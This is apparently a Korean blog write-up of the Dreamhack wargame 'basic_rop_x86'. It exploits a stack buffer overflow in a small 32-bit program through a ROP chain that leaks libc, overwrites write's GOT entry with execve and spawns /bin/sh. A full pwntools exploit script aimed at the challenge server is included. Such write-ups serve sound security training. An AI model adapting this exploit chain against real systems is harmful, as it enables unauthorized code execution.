본문 바로가기

Dreamhack/Wargame

[Wargame] basic_rop_x86

1. 실습 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

2. 풀이

① checksec을 이용하여, 메모리 보호기법을 확인한다.

 

② gdb를 통해, stack에 dummy값이 존재하는지 확인한다.

        ----+-----------------------+--[EBP-0X44]   
        |   |                       |
        |   +-----------------------+
        |   |                       |
        |   +-----------------------+
        |   |                       |
        |   +-----------------------+
        |   |                       |
     Buf|   +-----------------------+
  (0x40)|   |                       |
        |   +-----------------------+
        |   |                       |
        |   +-----------------------+
        |   |                       |
        |   +-----------------------+
        |   |                       |
        |   +-----------------------+
        |   |                       |
        |   +-----------------------+
        |   |                       |
        ----+-----------------------+
            |          EDI          |
            +-----------------------+<-EBP
            |          SFP          |
            +-----------------------+
            |          RET          |
            +-----------------------+

 

③ buf의 크기가 0x40인데, 0x400만큼 입력값을 받아 buf에 넣기 때문에 BOF취약점이 발생할 수 있다.

basic_rop_x86.c의 일부분

 

④ 가젯으로 사용할 코드의 주소값을 구한다.

 

⑤ write함수를 통해, 라이브러리의 read함수 주소값을 출력한다.

gadget = 0x08048689

read_got = e.got['read']
write_plt = e.plt['write']

payload = (b"A" * 0x40) + (b"b" * 0x8)

# write(1, read_got, 0x4)
payload += p32(write_plt)
payload += p32(gadget)
payload += p32(1)
payload += p32(read_got)
payload += p32(0x4)

 

⑥ read주소값을 기준으로, 라이브러리의 execve함수 주소값을 계산한다.

read_libc = libc.symbols['read']
execve_libc = libc.symbols['execve']

p.sendline(payload)

p.recvuntil(b"A"*0x40)
read_addr = u32(p.recvn(4))
base_libc = read_addr - read_libc
execve_addr = base_libc + execve_libc


⑦ bss위치에 /bin/sh 문자열을 저장한다.

binsh = e.bss()
read_plt = e.plt['read']

# read(0, binsh, 0x4)
payload += p32(read_plt)
payload += p32(gadget)
payload += p32(0)
payload += p32(binsh)
payload += p32(0x8)

p.send(b"/bin/sh\x00")


⑧ got에 저장되어 있는 write함수의 주소값을 execve함수의 주소값으로 덮어쓴다.

write_got = e.got['write']
read_plt = e.plt['read']

# read(0, write_got, 0x4)
payload += p32(read_plt)
payload += p32(gadget)
payload += p32(0)
payload += p32(write_got)
payload += p32(0x4)

p.send(p32(execve_addr))

 

⑨ write함수를 재실행함으로써, execve함수가 실행된다.

write_plt = e.plt['write']

# write(/bin/sh, 0, 0) ----> execve(/bin/sh, 0, 0)
payload += p32(write_plt)
payload += p32(gadget)
payload += p32(binsh)
payload += p32(0)
payload += p32(0)

3. 공격당한 스택의 그림

            +-----------------------+
            |  EBP                  |
            +-----------------------+
            |  RET  -> write        |
            +-----------------------+
            |  pop; pop; pop; ret;  |
            +-----------------------+
            |  argv1 -> 1           |
            +-----------------------+
            |  argv2 -> read_got    |
            +-----------------------+
            |  argv3 -> 0x4         |
            +-----------------------+
            |  read                 |
            +-----------------------+
            |  pop; pop; pop; ret;  | 
            +-----------------------+
            |  argv1 -> 0           |
            +-----------------------+
            |  argv2 -> bss(binsh)  |
            +-----------------------+
            |  argv3 -> 0x4         |
            +-----------------------+
            |  read                 |
            +-----------------------+
            |  pop; pop; pop; ret;  |
            +-----------------------+
            |  argv1 -> 0           |
            +-----------------------+
            |  argv2 -> write_got   |
            +-----------------------+
            |  argv3 -> 0x4         |
            +-----------------------+
            |  write                |
            +-----------------------+
            |  pop; pop; pop; ret;  |
            +-----------------------+
            |  argv1 -> bss(binsh)  |
            +-----------------------+
            |  argv2 -> 0           |
            +-----------------------+
            |  argv3 -> 0           |
            +-----------------------+

4. Exploit Code

  • pwntool을 이용하여, exploit 코드를 작성해보면 아래와 같다.
from pwn import *

def print_v(name, value):
    return success(": ".join([name, hex(value)]))

#p = process("./basic_rop_x86")
#libc = ELF("/lib32/libc.so.6")
p = remote("host3.dreamhack.games", 23296)
libc = ELF("./libc.so.6")
e = ELF("./basic_rop_x86")

gadget = 0x08048689 # pop esi; pop edi; pop ebp; ret
binsh = e.bss()

read_got = e.got['read']
write_got = e.got['write']
read_plt = e.plt['read']
write_plt = e.plt['write']
read_libc = libc.symbols['read']
execve_libc = libc.symbols['execve']

payload = (b"A" * 0x40) + (b"b" * 0x8)

# write(1, read_got, 0x4)
payload += p32(write_plt)
payload += p32(gadget)
payload += p32(1)
payload += p32(read_got)
payload += p32(0x4)

# read(0, binsh, 0x4)
payload += p32(read_plt)
payload += p32(gadget)
payload += p32(0)
payload += p32(binsh)
payload += p32(0x8)

# read(0, write_got, 0x4)
payload += p32(read_plt)
payload += p32(gadget)
payload += p32(0)
payload += p32(write_got)
payload += p32(0x4)

# write(/bin/sh, 0, 0) ----> execve(/bin/sh, 0, 0)
payload += p32(write_plt)
payload += p32(gadget)
payload += p32(binsh)
payload += p32(0)
payload += p32(0)

p.sendline(payload)

p.recvuntil(b"A"*0x40)
read_addr = u32(p.recvn(4))
base_libc = read_addr - read_libc
execve_addr = base_libc + execve_libc

print_v("Read Address", read_addr)
print_v("Base library", base_libc)
print_v("Execve Address", execve_addr)

p.send(b"/bin/sh\x00")
p.send(p32(execve_addr))

p.interactive()

'Dreamhack > Wargame' 카테고리의 다른 글

[Wargame] oneshot  (0) 2022.07.19
[Wargame] fho  (0) 2022.07.19
[Wargame] basic_rop_x64  (0) 2022.07.08
[Wargame] rop  (0) 2022.07.03
[Wargame] Return to Library  (0) 2022.07.02